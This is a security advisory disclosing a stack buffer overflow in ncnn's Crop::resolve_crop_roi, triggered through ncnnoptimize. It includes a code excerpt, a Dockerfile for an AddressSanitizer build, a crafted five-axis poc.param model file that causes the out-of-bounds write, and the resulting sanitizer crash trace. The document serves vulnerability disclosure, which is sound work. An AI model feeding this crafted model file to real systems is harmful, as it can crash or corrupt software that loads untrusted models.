Crop Stack Buffer Overflow in ncnnoptimize

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/crop.cpp:427 in Crop::resolve_crop_roi
Sanitizer verdict: stack-buffer-overflow

Summary

Feeding ncnnoptimize a crafted .param file yields an out-of-bounds stack write in Crop::resolve_crop_roi. The Crop layer's NumPy-style slice parameters carry an axes array whose length comes straight from the model, and that length is used as the loop bound for a four-element local array. Five axes overwrite the word directly above the array; more axes reach further into the frame.

Detail

Crop::load_param loads the three slice arrays with no length agreement or cap:

starts = pd.get(9, Mat()); ends = pd.get(10, Mat()); axes = pd.get(11, Mat());

ParamDict array entries are length-prefixed by the file itself, so axes.w is attacker-chosen. When starts and ends are both non-empty, Crop::forward takes the numpy_style_slice branch and calls resolve_crop_roi, which immediately fans the axes into a rank-4 local array:

// src/layer/crop.cpp:414
        int _axes[4] = {0, 1, 2, 3};
        int num_axis = axes.w;
        if (num_axis == 0)
        {
            num_axis = dims;
        }
        else
        {
            for (int i = 0; i < num_axis; i++)
            {
                int axis = axes_ptr[i];
                if (axis < 0)
                    axis = dims + axis;
                _axes[i] = axis;
            }
        }

_axes is sized 4 because ncnn tensors have at most four dimensions, but num_axis is axes.w — the file's value — and the loop is entered whenever that value is non-zero. No branch rejects axes.w > 4, and no check requires axes.w == starts.w == ends.w or axes.w <= dims.

The PoC's Crop line declares -23311=5,0,0,0,0,0, giving axes.w == 5 against a 3-dimensional input (0=4 1=4 2=3). The loop runs i = 0..4; at i == 4 the store _axes[i] = axis writes 4 bytes at offset 272 in a frame where _axes covers [256, 272). The matching five-element starts and ends arrays keep the subsequent ROI loop reading in-bounds long enough for the write to land first.

Reproduce

mkdir -p ncnn-poc-crop-stack-buffer-overflow-in-ncnnoptimize && cd ncnn-poc-crop-stack-buffer-overflow-in-ncnnoptimize

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=4 1=4 2=3
Crop crop 1 1 data crop -23309=5,0,0,0,0,0 -23310=5,-233,-233,-233,-233,-233 -23311=5,0,0,0,0,0
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7baaa2e08d10 at pc 0x563f7a8cc0c8 bp 0x7ffee5ceae90 sp 0x7ffee5ceae80
WRITE of size 4 at 0x7baaa2e08d10 thread T0
    #0 0x563f7a8cc0c7 in ncnn::Crop::resolve_crop_roi(ncnn::Mat const&, int&, int&, int&, int&, int&, int&, int&, int&) const /ncnn/src/layer/crop.cpp:427
    #1 0x563f7a90d706 in ncnn::Crop_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/crop_x86_avx512.cpp:193
    #2 0x563f784ebf2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x563f784ddb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x563f7853d9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x563f783cf3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x563f7844ceee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7baaa4c7c1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7baaa4c7c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x563f783cc624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

Address 0x7baaa2e08d10 is located in stack of thread T0 at offset 272 in frame
    #0 0x563f7a8cb557 in ncnn::Crop::resolve_crop_roi(ncnn::Mat const&, int&, int&, int&, int&, int&, int&, int&, int&) const /ncnn/src/layer/crop.cpp:391

  This frame has 15 object(s):
    [32, 36) 'w' (line 392)
    [48, 52) 'h' (line 393)
    [64, 68) 'd' (line 394)
    [80, 84) 'channels' (line 395)
    [96, 100) '<unknown>'
    [112, 116) '<unknown>'
    [128, 132) '<unknown>'
    [144, 148) '<unknown>'
    [160, 164) '<unknown>'
    [176, 180) '<unknown>'
    [192, 196) '<unknown>'
    [208, 212) '<unknown>'
    [224, 228) '<unknown>'
    [240, 244) '<unknown>'
    [256, 272) '_axes' (line 414) <== Memory access at offset 272 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /ncnn/src/layer/crop.cpp:427 in ncnn::Crop::resolve_crop_roi(ncnn::Mat const&, int&, int&, int&, int&, int&, int&, int&, int&) const

Credit

Zheng Yu @ DepthFirst